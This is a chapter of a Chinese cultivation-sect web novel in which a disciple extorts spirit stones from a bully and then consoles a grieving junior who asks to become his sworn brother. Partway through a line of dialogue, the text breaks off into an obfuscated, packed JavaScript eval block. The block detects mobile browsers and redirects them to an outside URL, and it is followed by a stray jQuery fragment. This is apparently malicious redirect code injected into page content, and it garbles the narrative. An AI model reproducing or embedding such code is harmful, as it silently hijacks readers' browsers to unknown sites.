掌门自然是没来的,这惊天地泣鬼神的一嗓子不过是个唬人的玩笑。
虽然洛驿舟一日十二个时辰有十二个半都在他那个浮空岛上窝着,但“掌门”二字带来的威慑力依旧不亚于在每个学校里乱窜的教导主任。
本就知道自己犯了门规的二人,当场就像被捏住了命运的后颈皮的小猫一样双双撒手,各自站到了小径的一边。
等了几秒都没见掌门的影子,黄斯终于把目光从满脸通红的谷风身上转移到了地上那被五花大绑的小弟身上。
“不是让你去叫人过来吗?怎么弄成这副模样?”
那小弟欲哭无泪:“老大,我,我正欲去寻点人来,迎头就撞上了这不知从哪窜出来的弟子。他,他硬说我撞坏了他要拿给别人的药,非要我赔,我说我有急事,这人就将我绑了说要找人评评理。”
黄斯顺着他指的方向看去,抬眼便瞅见个穿着暗红色直裾禅衣的弟子正双手环胸地杵在那笑吟吟地看着他们。
这人看着面生,衣服的布料不算什么上品,身上也没有挂什么贵重物件,怕不是个给山门扫地的。
但眼下只有这一个人撞破了这桩事,黄斯就算是心底再怎么瞧不起他,也得装个样子完成他的计划。
不把谷风从内门弟子的位置赶出去,当年他做的事情迟早会被发现。
虽然当年他申请到了留在峰内的资格,但近日父亲总是催他回去继承家业,恐怕是家中出了变故。
他得在离开白水门前把之前不小心被山风发现的鸡毛清理了。
若谷风是要为山风报仇,一定会查到那件事。
以白水门掌门和文心峰那位凶神的性格,他怕是难以全身而退。
当务之急,还是得让谷风身败名裂,这样就算他查到了什么,说出来也不会有人信。
思及此,黄斯就越发觉得眼前这位陌生的贫民身上有着难得的亲切。
贫民好啊,好拿捏。
只要给出一丁点好处,他们就会奉他为神明,对他言听计从。
“评理?”黄斯看着谷风那张依旧羞得通红的脸,勾起嘴角,满眼精光被收于眼底,只留他素来被人称赞的教养,“这位仁兄,我这兄弟将你的东西撞坏了需要评理,而眼前这位同门也趁此处往来无人,对我下了手,我也正欲寻个人来评评理呢。”
“你看,不如咱互相评理,双双了结?你那药我照价,不,三倍赔偿,再赔你五千灵石作为赔礼。而仁兄你只需要陪我们去掌门那走一趟,为我撑撑腰,就当替我出头了。你意下如何?”
三倍赔偿,对于普通人来说已经算是捡了便宜,而五千灵石,更是多少弟子几个月的月俸。
闻言,吕自桥抬起下巴,似是答应了下来:“什么理这么大,竟需要评到掌门那里?”
说完,他又给谷风一个安慰的眼神,示意他站那别动。
小爷我啊,最讨厌的就是这种穿得金光灿灿,巴不得浑身贴金彰显家室的傻屌了。
根据吕自桥多年来积累的经验,这种人的脑子一般都不太灵光。
黄斯以为他应了这桩事,捧出一副笑脸:“其实也不是什么大事,就是此人仗着自己是内门弟子,残害同门,不仅在此前的试炼之门里杀了我一位师兄弟,现在更是要对我下手。”
“还好兄弟你来得及时啊,否则今日我恐怕性命不保。”
“性命不保?”吕自桥上上下下打量了两人一番,也是不急,只言:“不是我多心啊,可是小弟我左看右看上看下看,怎么看怎么都是是旁边那位小哥脸上淤青更多一点?兄台你……”
吕自桥又支着下巴在他们三个人之间来来回回看了又看,露出一副后知后觉的惊恐模样来:“莫不是要我做假证吧,我可是良民,这德育分可金贵得很,扣不得扣不得。”
在黄斯脸上的表情逐渐有破绽的时候,吕自桥又来了一句:“我手上的,可是婳尧峰主要我带的药,如今被这位小兄弟打翻了,我实在是难以交差啊,更何况,德育分要是被扣了,会影响我将来的就业师门的。”
“除非……”吕自桥露出一副“你懂”的模样,还象征性搓了下手指。
黄斯算是明白了,这贱民就是等在这里坐地起价狮子大开口呢,看他好说话愿意赔偿,就想从他身上多拔几根毛下来点缀一下自己的破布衫。
他看了看谷风那张鼻青脸肿的脸,这才意识到自己被这畜生阴了一把。
他就说这人怎么只是嘴上叫得大声,打人却一点都没感觉到痛。
合着早就想好要倒打一耙了。
好啊好啊,果然是穷山恶水出刁民。
但眼下他有把柄在人手上,只能先顺着这个扫地僧的意思来,大不了晚上就把他无声无息地解决了,再把钱拿回来,顺带还能栽赃嫁祸给那个贱民,一石三鸟,也是极好的。
思及此,黄斯也是耐住了性子,做出一副豁出去的样子:“那你说要多少?”
吕自桥也是凭这人一身花孔雀的样子给足了他面子,他思索片刻,伸出一根手指比划着:
“我也不为难兄弟你,你这朋友撞坏的可是婳尧峰主专程从药塔里拿出来给木璇峰主的名贵药材,这药材实在稀有,别说三倍了,就算是两倍,你也赔不起。这样,你赔我五万灵石,我就将药材的事情自己扛下来,顺带帮你那个小忙。”
“你意下如何?”
黄斯见他身上没有凝丹峰的香囊,被那“名贵药材”唬住的背也是挺直了些:“口说无凭,你说你替婳尧峰主送药,可有信物?若无凭证,那便是勒索,我大可将你一并告发。”
吕自桥笑了:“到底是谁求谁啊?怎么还反过来威胁我了呢。”
“我能给出凝丹峰峰主的亲笔,你能给出旁边那位小兄弟揍你的证据吗?兄弟我也知道门规森严,禁止弟子互殴,这很多恩恩怨怨啊就只能找别的法子私了。我呢,也看出来这位兄弟与兄弟你不对付,但若让你们峰主知晓自己手下弟子光天化日之下竟堂而皇之地在门内互殴,这恐怕对几位都不太好。”
“你——!”黄斯被这番话堵得上气不接下气,指了吕自桥半天,硬是想不出一句话来。
“我什么我?”吕自桥双手叉腰,理直气壮地很,“五万灵石,不然我就把今天的事情如实上报,看究竟是你和你小弟的命硬,还是婳尧峰主的药材更值钱。”
想到凝丹峰那位视药如命老妖婆,黄斯害怕再跟这个人纠缠下去自己会惹一身腥,但他转念一想又觉得五万灵石实在是不值,于是开口砍价:“三万!”
吕自桥不同意了:“十万!”
“四万!”
“十五万!”吕自桥补充一句,“这钱呢就当我们交个朋友,你们的恩恩怨怨我不插手,婳尧峰主的怒火我也自行承担,岂不两全?”
最终,黄斯有限的教养还是没能比过吕混混的无赖,他妥协了:“五万就五万!”
旁边的小弟简树瑟瑟发抖:“老……老大,我没那么多灵石……”
黄斯恨铁不成钢地扇了他一巴掌:“欠着,回头把你家的产业给我一部分,就当
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374366|185810||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抵债了。”
简树不知自己该喜有人替自己还了钱,还是该怒事情闹得如此地步,自己被人安排着即将被迫失去一部分资产。
就在他思考把哪些边缘产业让出去时,黄斯却已在传音花上把灵石给了出去。
“文心峰的……你讹我?!”
他还以为这是凝丹峰的人,看他镇定自若又底气十足的样子才信了这人的鬼话,是以说话客气了一点,教养拿出来了一点,结果……结果他甚至都不是凝丹峰的!
是那个据说峰主闭关不出多少年,弟子全靠自学的文心峰的!
在被耍的团团转的黄斯彻底失控前,吕自桥急急忙忙从自己兜里掏出来一个卷轴,将它飞快展开挡在脸前:“我真的有婳尧峰主的手书!”
“再把这个弄坏,今天我们几个就都别想活了!”
黄斯那小弟一把将自己的老大拉住:“老大,老大,别冲动,这真的是婳尧峰主的印信啊!”
黄斯的胸腔一起一伏的,好似鼓动的牛皮般急促地膨胀着,在反反复复确认那狗爬的字上印的的确是凝丹峰峰主开药时的印信后,他将袖子一甩,扭着头就走了。
直到那两人走远,吕自桥才伸出手掌在已经看傻了的谷风面前挥了挥。
“呆子,还傻愣着呢?”
谷风抬起头来,正撞上一张意气风发又开朗热忱的笑脸。
阳光打在吕自桥的脸上,模糊了他的面容,却让阴沟里的人以为自己的时间倒流回了过去。
哥哥……
谷风又想起那个每次下山游历都会给他带一堆小玩意的人来。
那时他也是如此眸含星斗,袖纳江河,几乎是一轮从草根山野里冉冉升起的骄阳,他侠肝义胆又是个热心肠,整日将“路见不平拔刀相助”挂在嘴边,总是憧憬着能够有朝一日成为一代大能,平步青云,威震四方。
那样温暖炽热的一个人,死后却变成了一堆冰冷破碎的石头。
看这小鹌鹑一言不发就在那发呆,吕自桥还以为他是被自己的三寸不烂之舌震撼到了,于是夹着肩膀碰了碰他:“路见不平,拔刀相助。”
“怎么样,小爷我来的及时吧?”
不知道是下午的阳光太刺眼还是吹来的风带了沙子,柔软的睫毛扇啊扇,竟抖落几滴晶莹剔透的泪来。
一开始只是几滴露水般的液体,后来那浅浅的眼眶再也兜不住汹涌的河流,泪水决了堤,汹涌如浪潮,在那张满是淤青的脸上爬满伤口般的水痕。
他捂着脸,就像是个找不到家的孩子般站在那哭。
“诶诶诶,你这人怎么天天哭……这有啥好哭的?”
“男儿有泪不轻弹啊谷风兄,你这天天哭天天哭,把自己哭成木乃伊了怎么办?”
“救命……我这三寸不烂之舌不会哄人啊……”
就在吕自桥正在给自己做心理建设,准备哄不过就找家长时,怀里忽然撞入一颗毛茸茸的脑袋。
吕自桥听到那小鹌鹑一样的爱哭鬼用一种近乎绝望的语气闷出一句话来:
“吕师兄。”
“如果……如果我替哥哥报了仇,还活下来了……我可以找你拜把子吗?”
多年以后,每当吕自桥回忆起这个下午,他都在后悔自己当时为什么没有多问问他。
哪怕一句。
一句也行。
只是在这个下午,路见不平一声吼的吕自桥想着能帮一把是一把,爽朗地笑着:“拜,都可以拜!”
“从现在起,我就是你哥!”